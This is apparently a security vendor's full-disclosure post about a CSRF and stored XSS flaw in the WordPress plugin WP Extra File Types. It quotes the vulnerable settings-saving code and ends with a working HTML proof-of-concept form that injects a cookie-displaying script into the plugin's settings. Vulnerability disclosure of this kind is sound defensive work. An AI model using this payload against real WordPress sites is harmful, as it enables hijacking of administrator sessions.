Closed WordPress Plugin With 40,000+ Installs Contains CSRF/XSS Vulnerability
Yesterday, the WordPress plugin WP Extra File Types was closed on WordPress Plugin Directory. Because that is one of the 1,000 most popular plugins in that directory (it has 40,000+ installs), our systems warned us about the closure and we started checking over the plugin to see if there was a vulnerability we should warn customers of our service about if they are using the plugin. What we found was that it contains a cross-site request forgery (CSRF) vulnerability that can be used to change the plugin’s setting and add malicious JavaScript code to those, which is cross-site scripting (XSS).
The plugin registers a settings page for itself, which calls the function admin_page():
That registration and the function restrict access to users with the manage_options capability, so Administrators.
The function lacks a nonce check to prevent CSRF before saving its settings:
83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 | public function admin_page() { if (!current_user_can('manage_options')) { wp_die('Unauthorized'); } if (isset($_POST['do_save']) && $_POST['do_save']=='1') { // save !!! if (!isset($_POST['ext']) || !is_array($_POST['ext'])) { update_option('wpeft_types','none'); } else { $info = array(); foreach ($this->types_list as $t) { foreach ($t->extensions as $te) { $info[$te] = $t->mime_type; } } $array = array(); foreach ($_POST['ext'] as $the_ext) { $array[ $the_ext ] = $info['.'.$the_ext]; } $ok = update_option('wpeft_types',$array); if (!$ok) { $ok = add_option('wpeft_types',$array); } } if (isset($_POST['custom_d'])) { $custom = array(); foreach ($_POST['custom_d'] as $k=>$description) { $description = trim($description); if ($description != '') { $ext = trim($_POST['custom_e'][$k]); $mime = trim($_POST['custom_m'][$k]); if ($ext=='' || $mime=='') { continue; } if (strpos($mime,'/')===false) { $mime = 'application/octet-stream'; } if (!substr($ext,0,1)=='.') { $ext = '.'.$ext; } $custom[] = array( 'description'=>$description, 'extension'=>$ext, 'mime'=>$mime ); } } update_option('wpeft_custom_types',$custom); } if (isset($_POST['no_strict']) && $_POST['no_strict']) { update_option('wpeft_no_strict',true); } else { update_option('wpeft_no_strict',false); } if (isset($_POST['no_wp']) && $_POST['no_wp']) { update_option('wpeft_no_wp',true); } else { update_option('wpeft_no_wp',false); } if (isset($_POST['gf_hack']) && $_POST['gf_hack']) { update_option('wpeft_gf_hack',true); } else { update_option('wpeft_gf_hack',false); } } |
As confirmed with the proof of concept below, the custom file types setting is not validated/sanitized when saved or escaped when output, which permits XSS to occur.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will cause an alert box with any available cookies to be shown on the page /wp-admin/options-general.php?page=wp-extra-file-types-page, when logged in as an Administrator.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="[path to WordPress]/wp-admin/options-general.php?page=wp-extra-file-types-page" method="POST"> <input type="hidden" name="do_save" value="1" /> <input type="hidden" name="custom_d[]" value='"><script>alert(document.cookie);</script>' /> <input type="hidden" name="custom_e[]" value='"><script>alert(document.cookie);</script>' /> <input type="hidden" name="custom_m[]" value='"><script>alert(document.cookie);</script>' /> <input type="submit" value="Submit" /> </form> </body>